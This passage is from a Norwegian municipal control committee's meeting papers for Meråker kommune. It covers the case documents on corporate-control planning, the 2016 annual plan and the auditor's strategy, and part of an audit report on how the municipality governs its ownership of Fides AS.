og utnytter de betrodde midler mer effektivt innenfor forvaltningens frie handlingsrom. 2\n\n5 Norske kommuner ut\u00f8ver myndighet p\u00e5 mange omr\u00e5der som har avgj\u00f8rende betydning for innbyggerne. Kommunen skal ivareta b\u00e5de samfunnets og den/de enkeltes interesser. Hvordan kommunen fyller denne rollen, og i hvilken grad kommunen s\u00f8rger for \u00e5 gi innbyggerne likebehandling og rettssikkerhet kan v\u00e6re et interessant tema. Norske kommuner disponerer en betydelig del av samfunnets ressurser. I hvilken grad kommunen har s\u00f8rget for en effektiv og m\u00e5lrettet utnyttelse av de ressursene den er blitt betrodd er et eksempel p\u00e5 et annet interessant tema. En har ikke ressurser til \u00e5 besvare alle tenkelige sp\u00f8rsm\u00e5l. Planen skal derfor baseres p\u00e5 overordnet analyse av kommunens virksomhet. Det enkelte prosjekt skal velges ut fra risiko og vesentlighetsvurderinger. For \u00e5 sikre et bredest mulig beslutningsgrunnlag, foresl\u00e5s det at ordf\u00f8reren og r\u00e5dmannen blir invitert til en dialog med kontrollutvalget i forbindelse med behandlingen av kontrollutvalgets planforslag. Det understrekes imidlertid at forvaltningsrevisjon ikke kan sees som en del av r\u00e5dmannens egen oppf\u00f8lging, eller komme til erstatning for denne. Forvaltningsrevisjon (og selskapskontroll) skal begge ha elementer av b\u00e5de kontroll og l\u00e6ring. Kommunen har valgt selskapsformen for deler av sin virksomhet og tjenesteproduksjon. Planverkene for gjennomf\u00f8ring av forvaltningsrevisjon og selskapskontroll b\u00f8r derfor sees i sammenheng. Planarbeidet vil v\u00e6re en lang prosess. P\u00e5 det n\u00e5v\u00e6rende tidspunkt er det derfor viktig at kontrollutvalget treffer vedtak om \u00e5 igangsette planarbeidet. Det legges opp til at kontrollutvalget vil holdt orientert underveis i plan arbeidet. Dersom kontrollutvalget \u00f8nsker at revisor skal belyse eventuelle konkrete temaer og problemstillinger i forbindelse med analysearbeidet, vil en anbefale at kontrollutvalget gir s\u00e5 klare avgrensninger som mulig. Steinkjer Paul Stenstuen Kontrollsekret\u00e6r 3\n\n6 MER\u00c5KER KOMMUNE Kontrollutvalget SAK 027/15 OVERORDNET ANALYSE OG PLAN FOR SELSKAPSKONTROLL OPPSTART Saksgang M\u00f8tedato Saksbehandler Saksnr. Arkiv Kontrollutvalget Paul Stenstuen 027/ Saksbehandlers forslag til vedtak 1. Kontrollutvalget ber revisor igangsette arbeidet med overordnet analyse plan for selskapskontroll. Overordnet analyse plan for selskapskontroll b\u00f8r sees i sammenheng med overordnet analyse og plan for forvaltningsrevisjon. 2. Kontrollutvalget ber om \u00e5 bli holdt orientert underveis. 3. Forslaget til plan for selskapskontroll skal legges fram for kontrollutvalget til behandling i l\u00f8pet av 1. halv\u00e5r Kontrollutvalget inviterer ordf\u00f8reren og r\u00e5dmannen til en dialog mht. selskapskontroll og eierstyring. Vedlegg Ingen Ikke trykte vedlegg 1. Plan for selskapskontroll Forskrift om kontrollutvalg i kommuner og fylkeskommuner 3. Kommuneloven. Saksopplysninger Kontrollutvalgsforskriftens sier f\u00f8lgende om selskapskontroll: Kontrollutvalget skal p\u00e5se at det f\u00f8res kontroll med forvaltningen av kommunens eller fylkeskommunens interesser i selskaper m.m. Kontrollutvalget skal minst \u00e9n gang i valgperioden og senest innen utgangen av \u00e5ret etter at kommunestyret eller fylkestinget er konstituert, utarbeide en plan for gjennomf\u00f8ring av selskapskontroll. Planen skal baseres p\u00e5 en overordnet analyse av kommunens eller fylkeskommunens eierskap ut fra risiko- og vesentlighetsvurderinger, med sikte p\u00e5 \u00e5 identifisere behovet for selskapskontroll p\u00e5 de ulike sektorer og med de ulike selskapene. Planen skal vedtas av kommunestyret eller fylkestinget selv som kan delegere til kontrollutvalget \u00e5 foreta endringer i planperioden. Kontrollutvalget avgj\u00f8r selv hvem som p\u00e5 dets vegne skal gjennomf\u00f8re selskapskontroll. Paragrafen ble endret den 6 des og endringen ble ikraftsatt fra 1 jan Endringen inneb\u00e6rer at n\u00e5 er et krav om at det skal gjennomf\u00f8res en overordnet analyse av kommunens eierskap i forbindelse med utarbeidelse av plan for selskapskontroll. For innev\u00e6rende valgperiode skal slik plan v\u00e6re utarbeidet innen 31. desember 2016.\n\n7 14.Selskapskontrollens innhold Kontrollutvalget skal p\u00e5se at det gjennomf\u00f8res kontroll med forvaltningen av eierinteressene i de selskaper som er omfattet av slik kontroll, herunder \u00e5 kontrollere om den som ut\u00f8ver kommunens eller fylkeskommunens eierinteresser i selskaper gj\u00f8r dette i samsvar med kommunestyrets/fylkestingets vedtak og forutsetninger (eierskapskontroll). Selskapskontrollen kan ogs\u00e5 omfatte forvaltningsrevisjon, jf. forskrift om revisjon i kommuner og fylkeskommuner kap. 3. Kommunen har typisk flere roller i forhold til de selskapene kommunen har eierskap i. For det f\u00f8rste har kommunen eierrollen. I mange tilfeller skal selskapene levere tjenester til kommunen selv eller direkte til innbyggerne. I slike tilfeller har kommunen ogs\u00e5 kj\u00f8perrollen. I tillegg vil kommunen ofte ha rollen som offentlig myndighet og tilsynsmyndighet. Det finnes ogs\u00e5 eksempler p\u00e5 at kommunen har delegert offentlig myndighet til selskap den har eierskap i. Det er derfor n\u00f8dvendig med en klar forst\u00e5else for avgrensningen mellom de ulike rollene og hva som er et hensiktsmessig samspill mellom disse. Det er ogs\u00e5 n\u00f8dvendig med en klar forst\u00e5else for kommunalt eierskap som virkemiddel, med de begrensninger og muligheter ulike eierskapsformer gir mht. eierstyring. B\u00e5de ordf\u00f8rers og r\u00e5dmannens synspunkter vil s\u00e5ledes v\u00e6re av interesse for kontrollutvalget. Selskapskontroll(og forvaltningsrevisjon) skal ha elementer av b\u00e5de kontroll og l\u00e6ring. Kommunen har valgt selskapsformen for deler av sin virksomhet og tjenesteproduksjon. Planverkene for gjennomf\u00f8ring av selskapskontroll og forvaltningsrevisjon b\u00f8r derfor ses i sammenheng. Vurdering Saken legges n\u00e5 frem for kontrollutvalget med forslag om at revisor starter arbeidet med den overordnede analysen og utarbeidelse av plan for selskapskontroll. Det er viktig at dette arbeidet kommer i gang s\u00e5 snart som mulig. Forslaget til plan for selskapskontroll skal legges frem for til behandling i kontrollutvalget i l\u00f8pet av 1. halv\u00e5r Kommunestyret vedtar s\u00e5 planen etter innstilling fra kontrollutvalget. Steinkjer Paul Stenstuen Kontrollsekret\u00e6r 2\n\n8 MER\u00c5KER KOMMUNE Kontrollutvalget SAK 028/14 KONTROLLUTVALGETS \u00c5RSPLAN / M\u00d8TEPLAN FOR 2016 Saksgang M\u00f8tedato Saksbehandler Saksnr. Arkiv Kontrollutvalget Paul Stenstuen 028/ Saksbehandlers forslag til vedtak 1. Kontrollutvalget vedtar det fremlagte forslag til Kontrollutvalgets m\u00f8teplan / \u00e5rsplan for 2016 for sin virksomhet i Kontrollutvalget ber r\u00e5dmannen merke seg kontrollutvalgets m\u00f8tedatoer og \u00f8nskede orienteringer fra administrasjonen. 3. Kontrollutvalgets \u00e5rsplan oversendes kommunestyret til orientering. Vedlegg Forslag til Kontrollutvalgets \u00e5rsplan/m\u00f8teplan for Ikke trykte vedlegg Ingen Saksopplysninger Forslag til kontrollutvalgets m\u00f8teplan / \u00e5rsplan for 2016 f\u00f8lger vedlagt denne saken. \u00c5rsplanen for 2016 samler kontrollutvalgets planer for sin virksomhet og er utarbeidet p\u00e5 et overordnet niv\u00e5. Planen inneholder derfor ikke en detaljert beskrivelse av kontrollutvalgets virksomhet. Det legges opp til 5 m\u00f8ter i Utkast til \u00e5rsplan m\u00e5 ses p\u00e5 som en skisse over de aktiviteter kontrollutvalget vil ta for seg i l\u00f8pet av \u00e5ret. Det synes b\u00e5de hensiktsmessig og kostnadseffektivt at orienteringer fra administrasjonen i vertskommunen prim\u00e6rt gis til kontrollutvalget i vertskommunen. Det legges derfor opp til et tett samarbeid med kontrollutvalgene i de samarbeidende kommunene i V\u00e6rnes regionen. Vurdering Kontrollutvalget b\u00f8r alltid innenfor planen ha rom til \u00e5 foreta eventuelle n\u00f8dvendige omprioriteringer. \u00c5rsplanen skal ikke vedtas av kommunestyret, men b\u00f8r sendes kommunestyret til orientering. Saken legges med dette frem for diskusjon i m\u00f8te. Steinkjer Paul Stenstuen Kontrollsekret\u00e6r\n\n13 Kontrollutvalget skal i henhold til forskriftens 13 minst \u00e9n gang i valgperioden og senest innen utgangen av \u00e5ret etter at kommunestyret er konstituert, utarbeide en plan for selskapskontroll. Planarbeidet ble vedtatt igangsatt den , sak 27/15. Det tas sikte p\u00e5 at planen er ferdig behandlet av kontrollutvalget i l\u00f8pet av f\u00f8rste halv\u00e5r ANDRE OPPGAVER Kontrollutvalget kan til enhver tid ta opp saker som ligger innenfor dets ansvars- og kompetanseomr\u00e5de GJENNOMGANG AV M\u00d8TEPROTOKOLLER P\u00e5 oppdrag fra kontrollutvalget gjennomg\u00e5r revisor jevnlig m\u00f8teprotokoller fra bl.a. kommunestyret og formannskapet med fokus p\u00e5 saker av vesentlig \u00f8konomisk betydning. Hensikten med gjennomgangen er \u00e5 p\u00e5se at vedtakene fattes i tr\u00e5d med lov, forskrift, regelverk og overordnede planer. Med mindre revisor har merknader kontrollutvalget b\u00f8r f\u00f8lge opp videre, tas denne rapporteringen som et ledd i revisors ordin\u00e6re statusrapportering OPPF\u00d8LGING AV SAKER Det ligger bl.a. til kontrollutvalget \u00e5 f\u00f8re tilsyn med at vedtak blir fulgt opp. R\u00e5dmannens statusrapport mht. kommunestyre vedtak ansees derfor som en viktig sak. Kontrollutvalget vil i forbindelse med \u00e5rsrapporteringen g\u00e5 gjennom oppf\u00f8lgingen av saker BEFARING/BES\u00d8K For \u00e5 kunne f\u00f8re tilsyn med den totale virksomheten er det viktig at kontrollutvalget har ressurser og anledning til \u00e5 bes\u00f8ke ulike avdelinger av kommunens virksomhet ORIENTERING FRA POLITISK OG ADMINISTRATIV LEDELSE Kontrollutvalget kan hos kommunen, uten hinder av taushetsplikt, kreve enhver opplysning, redegj\u00f8relse eller ethvert dokument og foreta de unders\u00f8kelser som det finner n\u00f8dvendig for \u00e5 gjennomf\u00f8re oppgavene, jf. koml Dersom det er \u00f8nskelig av hensyn til behov for saksopplysninger, kan kontrollutvalget ogs\u00e5 innkalle administrasjonssjefen i forbindelse med behandling av saker i m\u00f8tene. Administrativ ledelse b\u00f8r normalt v\u00e6re til stedet ved kontrollutvalgets m\u00f8te n\u00e5r regnskap og \u00e5rsberetning for foreg\u00e5ende \u00e5r skal behandles. Det legges videre opp til et orienteringsprogram fra administrasjonen, slik at kontrollutvalget holdes oppdatert om viktige saker i kommunen BESTILLING FRA KOMMUNESTYRET Kontrollutvalget skal f\u00f8re tilsyn med forvaltningen p\u00e5 vegne av kommunestyret. Kontrollutvalget ser positivt p\u00e5 bestillinger fra kommunestyret mht. saker og prosjekter kommunestyret \u00f8nsker at kontrollutvalget skal f\u00f8lge spesielt opp. KONTROLLUTVALGETS \u00c5RSPLAN FOR 2016 SIDE 5 AV 7\n\n16 MER\u00c5KER KOMMUNE Kontrollutvalget SAK 029/15 ORIENTERING FRA REVISOR VEDR. REVISJONSSTRATEGIEN FOR REGNSKAPSREVISJON 2015 Saksgang M\u00f8tedato Saksbehandler Saksnr. Arkiv Kontrollutvalget Paul Stenstuen 029/ Saksbehandlers forslag til vedtak Kontrollutvalget tar den gitte informasjon til orientering. Vedlegg Ingen Ikke trykte vedlegg 1. Forskrift om revisjon 2. Forskrift om kontrollutvalg 3. Kommuneloven Saksopplysninger I samsvar med gjeldende revisjonsstandarder skal revisor utarbeide en strategi og plan for sitt revisjonsoppdrag. Revisors strategi og plan for hvordan det enkelte revisjonsoppdrag skal l\u00f8ses er interne vurderinger og interne dokumenter hos revisor. Revisor vil presentere revisjonsstrategien for regnskapet 2015 i m\u00f8tet. Saksbehandlers vurdering Revisjonsstrategien skal utarbeides p\u00e5 faglig grunnlag og vil ha sitt utgangspunkt i risiko og vesentlighetsvurderinger. Form\u00e5let med \u00e5 utarbeide en revisjonsstrategi er prim\u00e6rt \u00e5 avdekke omr\u00e5der med risiko for feilrapportering mv, samt hvilke revisjonshandlinger som m\u00e5 gjennomf\u00f8res for at revisor skal kunne avgi sin revisjonsberetning. Saken sees som et ledd i kontrollutvalgets oppf\u00f8lging av og tilsyn med revisor. Da det vil bli gitt informasjon om interne forhold hos revisor vil kontrollutvalget ha plikt til \u00e5 bevare taushet om innholdet i revisors orientering, jf. forvaltningslovens 13. Orienteringen m\u00e5 derfor gis i lukket m\u00f8te, jf. koml. 31 nr 2, og fvl. 13. Steinkjer Paul Stenstuen Kontrollsekret\u00e6r\n\n17 MER\u00c5KER KOMMUNE Kontrollutvalget SAK 030/15 SELSKAPSKONTROLL FIDES AS Saksgang M\u00f8tedato Saksbehandler Saksnr. Arkiv Kontrollutvalget Paul Stenstuen 030/ Saksbehandlers forslag til vedtak Kontrollutvalget oversender rapporten til kommunestyret for videre behandling. Saksbehandlers forslag til innstilling til kommunestyret Kommunestyret tar rapporten til etterretning, og ber om at det blir fremlagt sak om rullering av eierskapsmeldingen s\u00e5 raskt som mulig. Vedlegg Rapporten \u00abSelskapskontroll FIDES AS\u00bb, KomRev Tr\u00f8ndelag IKS Ikke trykte vedlegg Kontrollutvalgets sak 9/15 Plan for selskapskontroll Saksopplysninger Kontrollutvalget behandlet bestilling av selskapskontroll vedr\u00f8rende FIDES AS den , sak 9/15. Revisor forslag til problemstillinger var: \u00abEierskapskontroll Ut\u00f8ver Mer\u00e5ker kommune eierskapet i FIDES AS i samsvar med kommunestyrets vedtak og forutsetninger og etablerte normer for god eierstyring? Herunder: Eierskapsmelding og folkevalgtoppl\u00e6ring Form\u00e5l med eierskapet, vedtekter og selskapets strategi Hvordan evaluerer eieren selskapets m\u00e5loppn\u00e5else? Sammensetning og funksjon til eierorgan Forvaltningsrevisjon/beskrivende del Hvilken rolle og oppgaver har de forskjellige akt\u00f8rene? Hvordan samarbeider de forskjellige akt\u00f8rene? Hvordan betales/finansieres tjenestene FIDES leverer?\u00bb\n\n18 Kontrollutvalget traff slikt vedtak i saken: 1. \u00abKontrollutvalget omprioriterer listen for selskapskontroll ved at prosjekt vedr\u00f8rende FIDES AS gis 1. prioritet. \u00d8vrige prosjekter rykker tilsvarende ned. 2. Kontrollutvalget godkjenner det fremlagte forslag til prosjektplan og ber revisor iverksette prosjektet.\u00bb Revisors har ferdigstilt prosjektet og har overlevert sin rapport etter gjennomf\u00f8rt selskapskontroll, se vedlegg. Det vises til denne i sin helhet. Revisor opplyser i fotnote nr. 4 at den opprinnelige problemstillingen i bestillingen var: \u00abUt\u00f8ver Mer\u00e5ker kommune eierskapet i FIDES AS i samsvar med kommunestyrets vedtak og forutsetninger og etablerte normer for god eierstyring? Vi har ikke funnet kommunestyrevedtak som gir f\u00f8ringer (utover normene/ksanbefalingene, se kap. 2.1) for hvordan kommunen skal ut\u00f8ve sitt eierskap i FIDES AS.\u00bb Revisor sier f\u00f8lgende i sin konklusjon: \u00abRevisors gjennomgang viser at Mer\u00e5ker kommune i all hovedsak ut\u00f8ver eierskapet i FIDES AS i samsvar med etablerte normer for god eierstyring. Konklusjonen er basert p\u00e5 at kommunen har gjennomf\u00f8rt folkevalgtoppl\u00e6ring med eierstyring som tema, de har utarbeidet ei eierskapsmelding, de har oppnevnt formannskapet som eierrepresentanter i heleide selskaper og ordf\u00f8reren i de resterende og selskapet driver sin virksomhet innenfor de rammene som eier har satt. Det er positivt at kommunen har utarbeidet ei eierskapsmelding, som ble vedtatt i kommunestyret. Den beskriver eierstyring (eierpolitikk) p\u00e5 en god m\u00e5te, men b\u00f8r videreutvikles n\u00e5r det gjelder kommunens eierstrategier. Den b\u00f8r kunne svar p\u00e5 hva selskapene driver med og hvorfor Mer\u00e5ker kommune har valgt \u00e5 v\u00e6re eier. Kommunen er b\u00e5de eier og kunde av FIDES AS, og i en slik situasjon er det viktig \u00e5 ha tydelig rolleforst\u00e5else. For informasjonsflytens og dialogens skyld, kunne det kanskje ogs\u00e5 v\u00e6rt nyttig med en \u00e5rsrapport fra selskapet som beskriver utvikling i tjenestetilbudet, antall deltakere og gjennomf\u00f8ring med mer.\u00bb Vurdering Revisor gir uttrykk for at en ikke har funnet kommunestyrevedtak som gir f\u00f8ringer for ut\u00f8velsen av eierskapet i FIDES AS, og at problemstillingen knyttet til dette av den grunn er tatt ut fra rapporten. Da en ikke har funnet holdepunkter for at eierskapet eventuelt skulle v\u00e6rt ut\u00f8vd i strid med kommunestyrets vedtak og forutsetninger, burde dette kommet klart fram i rapporten. Rapporten ber\u00f8rer imidlertid fler av de sp\u00f8rsm\u00e5l kontrollutvalget \u00f8nsket belyst. Bl.a fremkommer opplysninger som tyder p\u00e5 at kommunen som kj\u00f8per og selskapet som leverand\u00f8r kunne v\u00e6re tjent med at kommunestyret som (med)eier tar (fornyet) stilling til hva kommunestyret \u00f8nsker \u00e5 oppn\u00e5 med eierskapet. 2\n\n19 En anbefaler p\u00e5 denne bakgrunn at rapporten blir videresendt til kommunestyret. Steinkjer Paul Stenstuen Kontrollsekret\u00e6r 3\n\n20 SELSKAPSKONTROLL FIDES AS MER\u00c5KER KOMMUNE NOVEMBER 2015\n\n 77 nr 5.\")\n23 1. INNLEDNING 1.1 Bestilling I henhold til kommuneloven 77 nr. 5 skal kontrollutvalget p\u00e5se at det f\u00f8res kontroll med forvaltningen av kommunens eller fylkeskommunens interesser i selskaper m.m. 2 Eierskapskontroll er den obligatoriske delen av selskapskontroll. 3 Det er en avgrenset kontroll av forvaltningen av kommunens eierinteresser, herunder en kontroll av om den som ut\u00f8ver eierinteressene gj\u00f8r dette i samsvar med de gjeldende forutsetninger og anbefalinger. Det kan ogs\u00e5 gjennomf\u00f8res forvaltningsrevisjon som del av en selskapskontroll, hvor man g\u00e5r inn i selskapet og vurderer for eksempel kvaliteten p\u00e5 tjenestene selskapet leverer eller selskapets m\u00e5loppn\u00e5else. Kontrollutvalget vedtok i sak 009/15 at KomRev Tr\u00f8ndelag IKS skulle igangsette selskapskontroll i Fides AS, som skulle best\u00e5 av en eierskapskontroll samt en unders\u00f8kelse av rollefordeling, samarbeid og prising av tjenestene mellom kommunen og Fides AS. En lignende unders\u00f8kelse er gjennomf\u00f8rt i Stj\u00f8rdal kommune, som eier Fides AS sammen med Mer\u00e5ker. I bestillingen ble kontrollutvalget og revisor enige om at revisor kunne foreta en vurdering underveis av om denne siste delen burde/kunne utformes som en forvaltningsrevisjon eller et beskrivende kapittel. P\u00e5 grunn av mangel p\u00e5 revisjonskriterier mener vi at kapittelet om rollefordeling, samarbeid og prising egner seg best for et beskrivende kapittel. 1.2 Problemstillinger og metode F\u00f8lgende problemstilling er besvart i eierskapskontrollen: Ut\u00f8ver Mer\u00e5ker kommune eierskapet i Fides AS i samsvar med etablerte normer for god eierstyring? 4 2 Selskapskontroll er n\u00e6rmere omtalt i forskrift om kontrollutvalg kapittel 6 ( 13-15). 3 Jf. forskrift om kontrollutvalg 14 f\u00f8rste ledd. 4 Den opprinnelige problemstillingen var: \u00abUt\u00f8ver Mer\u00e5ker kommune eierskapet i Fides AS i samsvar med kommunestyrets vedtak og forutsetninger og etablerte normer for god eierstyring?\u00bb Vi har ikke funnet kommunestyrevedtak som gir f\u00f8ringer (utover normene/ks-anbefalingene, se kap. 2.1) for hvordan kommunen skal ut\u00f8ve sitt eierskap i Fides AS. Fides AS Mer\u00e5ker kommune 3\n\n25 2. KOMMUNENS EIERSKAP 2.1 Revisjonskriterier Revisjonskriterier er de krav og forventninger som virksomheten vurderes opp mot. I dette prosjektet vurderes kommunens eierstyring opp mot kriterier hentet fra normer 5 for god eierstyring og selskapsledelse. KS anbefalinger Obligatorisk oppl\u00e6ring av og informasjon til folkevalgte o Kommuner b\u00f8r som en del av folkevalgtoppl\u00e6ringen gjennomf\u00f8re obligatoriske kurs og/eller eierskapsseminarer for samtlige folkevalgte i de ulike aspektene knyttet til eierstyring av utskilt virksomhet. Utarbeidelse av eierskapsmeldinger o Kommuner skal foreta en politisk gjennomgang av sine selskaper gjennom utarbeidelse av ei eierskapsmelding. Eierskapsmeldinga b\u00f8r gjennomg\u00e5s og eventuelt revideres \u00e5rlig i kommunestyret. Eierskapsmeldinga b\u00f8r inneholde strategier og form\u00e5l for det enkelte selskap. Utarbeidelse av selskapsstrategi og vedtekter o Selskapets virksomhet skal tydeliggj\u00f8res i vedtektene. Innenfor rammen av vedtektene b\u00f8r selskapet ha klare m\u00e5l og strategier for sin virksomhet. Sammensetning og funksjon til eierorgan o For aksjeselskap anbefales det at kommunestyret oppnevner politisk ledelse som eierrepresentanter i generalforsamling. Eierut\u00f8velsen skal speile kommunestyrets flertallsbeslutning. 2.2 Eierskapsmodell I aksjeselskap er det generalforsamlingen som ut\u00f8ver den \u00f8verste myndighet i selskapet. Ordf\u00f8reren m\u00f8ter p\u00e5 vegne av kommunen i generalforsamlinga i Fides AS (se kap 2.4). I generalforsamlingen skal ordf\u00f8reren avgi sin stemme i samsvar med eventuelle vedtak fattet i kommunestyret (bundet mandat). Valget av aksjeselskap som selskapsform har noen f\u00f8lger for den politiske styringen og kontrollen over selskapet. Styringen av Fides AS er underlagt aksjelovgivningen, og m\u00e5 f\u00f8lge linjen i de riktige selskapsorganene. Det vil si at prosessen for \u00e5 avklare og iverksette kommunens syn i vesentlige saker som ang\u00e5r Fides AS, vil v\u00e6re f\u00f8lgende: 5 KS anbefalinger om eierskap, selskapsledelse og kontroll av kommunalt/fylkeskommunalt eide selskaper Fides AS Mer\u00e5ker kommune 5\n\n26 1. Kommunestyret dr\u00f8fter saker og fatter vedtak p\u00e5 vegne av Mer\u00e5ker kommune (med alminnelig/simpelt flertall av avgitte stemmer). (Ofte p\u00e5 bakgrunn av en saksutredning fra r\u00e5dmannen.) 2. Eierrepresentanten (ordf\u00f8reren) representerer kommunestyrets flertallssyn i generalforsamlingen for Fides AS. 3. Generalforsamlinga i Fides AS har for eksempel myndighet til \u00e5 vedta vedtekter, myndighet til \u00e5 velge styremedlemmer og f\u00f8re tilsyn med styret. Generalforsamlinga ut\u00f8ver den \u00f8verste myndighet i selskapet, og har en generell instruksjonsmyndighet overfor styret. 4. Styret i Fides AS har ansvaret for forvaltningen av selskapet, og f\u00f8rer tilsyn med den daglige ledelsen. 5. Daglig leder st\u00e5r for den daglige ledelse av selskapets virksomhet og skal f\u00f8lge de retningslinjer og p\u00e5legg styret har gitt. Se figur under. Dette medf\u00f8rer blant annet at kommuneadministrasjonen ikke p\u00e5 noen m\u00e5te kan instruere selskapet. Det kan heller ikke kommunestyret for den del, men de har muligheten til \u00e5 g\u00e5 veien om sin eierrepresentant og generalforsamlingen. I utgangspunktet f\u00f8lger informasjonsflyten som g\u00e5r den motsatte veien ogs\u00e5 de samme linjene og selskapsorganene. Det er imidlertid ikke noe i veien for at selskapet, dvs. styreleder eller daglig leder, kan informere kommunestyret direkte hvis kommunestyret \u00f8nsker det. Fides AS Mer\u00e5ker kommune 6\n\n27 Kilde: Kommunalt eierskap, Vibeke Resch-Knudsen 2.3 Eierstrategi Vi kan skille mellom eierstrategi som er forventninger fra eierne til selskapets forvaltning av tjenesteomr\u00e5det (hvorfor eie), og eierstyring som handler om hvordan kommunen selv forvalter og styrer sine selskaper (hvordan eie). I eierskapsmeldinga omtaler Mer\u00e5ker kommune ogs\u00e5 dette skillet, men kaller det sistnevnte for eierskapspolitikk. Innholdet i begrepene er ellers det samme. Kommunens eierskap i Fides AS er nevnt i eierskapsmeldinga fra Her blir den dav\u00e6rende eierandelen (11 %) og andel av aksjekapital (kr ) omtalt. Dagens form\u00e5lsbestemmelse ( 3 i vedtektene) i Fides AS lyder: \u00abSelskapet har som form\u00e5l \u00e5 v\u00e6re tiltaksarrang\u00f8r av arbeidsmarkedstiltak, samt utvikle tilbud innen samfunnets behov for arbeids-, velferds- og inkluderingstjenester, og utvikle arbeidskraft for n\u00e6ringslivet. Fides AS Mer\u00e5ker kommune 7\n\n28 I tillegg skal selskapet erverve og eie fast eiendom med det form\u00e5l \u00e5 skaffe lokaler som selskapets virksomhet skal drives fra og drive utleie av fast eiendom i den grad deler av selskapets eiendom ikke nyttes til egen drift. Selskapet kan eie aksjer eller andeler i selskaper med tilsvarende virksomhet. Verdier som skapes i selskapet, skal disponeres i tr\u00e5d med form\u00e5let og kan ikke utbetales som utbytte til aksjon\u00e6rene.\u00bb Fides AS har ogs\u00e5 et strategidokument som er mer utdypende enn vedtektene n\u00e5r det gjelder selskapets strategiske vurderinger. Dokumentet er kortfattet og inneholder blant annet selskapets verdigrunnlag og en punktvis angivelse av strategiske m\u00e5lsettinger og tiltak. Gjeldende dokument ble vedtatt p\u00e5 styrem\u00f8te , og skal if\u00f8lge daglig leder opp til revisjon p\u00e5 senh\u00f8sten Fides AS ble etablert i 2009 gjennom en fusjon av tidligere Stj\u00f8rdal Industri AS og Stj\u00f8rdal arbeidssamvirke AS. Da Stj\u00f8rdal arbeidssamvirke AS ble etablert, var det med b\u00e5de Stj\u00f8rdal og Mer\u00e5ker kommune som medeiere og med avdelinger i begge kommunene. Vedtektene \u00e5pner for at selskapet kan leie ut lokaler som de eier, men som de for \u00f8yeblikket ikke har bruk for selv. Vedtektene \u00e5pner ogs\u00e5 for at Fides AS kan eie bedrifter i samme bransje. Daglig leder mener at Fides AS b\u00f8r drive sin virksomhet over et st\u00f8rre geografisk omr\u00e5de. Grunnen til dette er at virksomheten er mer anbudsutsatt n\u00e5 enn tidligere, og NAV \u00f8nsker bedrifter med et st\u00f8rre geografisk nedslagsomr\u00e5de. For \u00e5 henge med i konkurransen, er daglig leder av den oppfatning at Fides AS over tid b\u00f8r ekspandere ytterligere geografisk. Det er styret som avgj\u00f8r eventuelle oppkj\u00f8p. Fides AS gjennomf\u00f8rte et oppkj\u00f8p av Innherred Produkter AS i Selskapet ble kontaktet av Nord-Tr\u00f8ndelag fylkeskommune som \u00f8nsket \u00e5 selge seg ut. Styreleder og daglig leder orienterte eier, ved ordf\u00f8rer, i forkant av beslutningen om \u00e5 kj\u00f8pe Innherred Produkter AS. De fikk aksept for oppkj\u00f8pet. Oppkj\u00f8pet av Innherred Produkter er innenfor selskapets vedtekter, og ordf\u00f8reren sier at s\u00e5 lenge det er innenfor selskapets forretningsomr\u00e5de s\u00e5 stoler han p\u00e5 styrets vurderinger p\u00e5 dette punktet. Ordf\u00f8rer sier at eieren vurderer selskapets m\u00e5loppn\u00e5else gjennom \u00e5 se p\u00e5 resultatene b\u00e5de n\u00e5r det gjelder tjenestene som leveres og \u00f8konomi. Kommunen er tilfreds med det Fides leverer, og if\u00f8lge ordf\u00f8rer leverer selskapet som forventet. Mer\u00e5ker har \u00f8nsket seg en utvidelse av avdelingen i kommunen (7 VTA plasser pr i dag), men har Fides AS Mer\u00e5ker kommune 8\n\n29 forel\u00f8pig ikke f\u00e5tt dette. Se mer om sektor helse, pleie og omsorgs vurderinger i kapittel 3 (samarbeid). If\u00f8lge selskapet selv er de en foregangsbedrift p\u00e5 mange omr\u00e5der innen attf\u00f8ringsbransjen, og selskapet har et godt omd\u00f8mme. 2.4 Eierstyring Det er kommunestyret gjennom flertallsvedtak som formelt definerer kommunens eiervilje overfor selskaper. Beslutninger som ang\u00e5r vesentlige sider av kommunens eierskap i Fides AS m\u00e5 derfor vedtas innenfor organer i kommunen, i henhold til kommunelovens beslutningsregler. Deretter m\u00e5 kommunens vilje iverksettes gjennom rollen som aksjon\u00e6r i selskapet i henhold til aksjelovens regler (se kapittel 2.2). Kommunen har if\u00f8lge ordf\u00f8reren gjennomf\u00f8rt folkevalgtoppl\u00e6ring med eierstyring som tema. Etter valget i 2011 var oppl\u00e6ringen basert p\u00e5 et standard opplegg fra KS, presentert av tidligere fylkesr\u00e5dsleder Alf Daniel Moen. Ordf\u00f8reren sier det var oppl\u00e6ring p\u00e5 overordnet niv\u00e5 (uten bruk av eksempelcase). Mer\u00e5ker kommune har eierskapsmelding fra 2012, vedtatt i sak 87/12. Det er vedtatt i eierskapsmeldinga at den skal revideres hver valgperiode. Eierskapsmeldinga beskriver f\u00f8rst hva ei eiermelding b\u00f8r inneholde, og litt om hvorfor det er fordelaktig \u00e5 ha ei eiermelding. Deretter dr\u00f8ftes noen generelle prinsipper for godt kommunalt eierskap, med KS-anbefalingene (som vi benytter som kilde til revisjonskriterier) som en viktig del. I eierskapsmeldingas kapittel 3 beskrives de ulike selskapsformene, og hvilke muligheter og begrensninger de medf\u00f8rer for eierne. Kapittel 4 gir en oversikt over hvilke selskaper Mer\u00e5ker kommune har eierandeler i. I kapittel 5 listes opp hvilke prinsipper og retningslinjer kommunen skal styre etter i ut\u00f8velsen av sitt eierskap, i eiermeldinga kalt eierskapspolitikk (=eierstyring). Det siste kapitlet beskriver mulige framgangsm\u00e5ter for \u00e5 komme fram til eierstrategier. I starten av eierskapsmeldinga blir det p\u00e5pekt at dette er kommunens f\u00f8rste versjonen, og at senere versjoner m\u00e5 videreutvikles s\u00e6rlig med tanke p\u00e5 eierstrategier for Mer\u00e5ker kommunes eierskap i forskjellige selskaper, alts\u00e5 begrunnelser av hvorfor kommunen eier de forskjellige selskapene. I samme sak som kommunestyret behandlet eierskapsmeldinga, vedtok de ogs\u00e5 at alle aksjeselskapene skulle gjennomg\u00e5s og vurderes innen utgangen av 1. kvartal Det har ikke blitt gjort, og ordf\u00f8rer sier det skyldes manglende ressurser til \u00e5 f\u00f8lge opp vedtaket. Ordf\u00f8reren forteller at normalt har ikke kommunestyret mange saker ang\u00e5ende eierskap opp til behandling. Unntaket er eierskapet i Mer\u00e5ker alpinsenter (80 %) der det har v\u00e6rt mange diskusjoner i b\u00e5de formannskap og kommunestyre. Fides AS Mer\u00e5ker kommune 9\n\n30 For Mer\u00e5ker kommunes vedkommende har kommunestyret 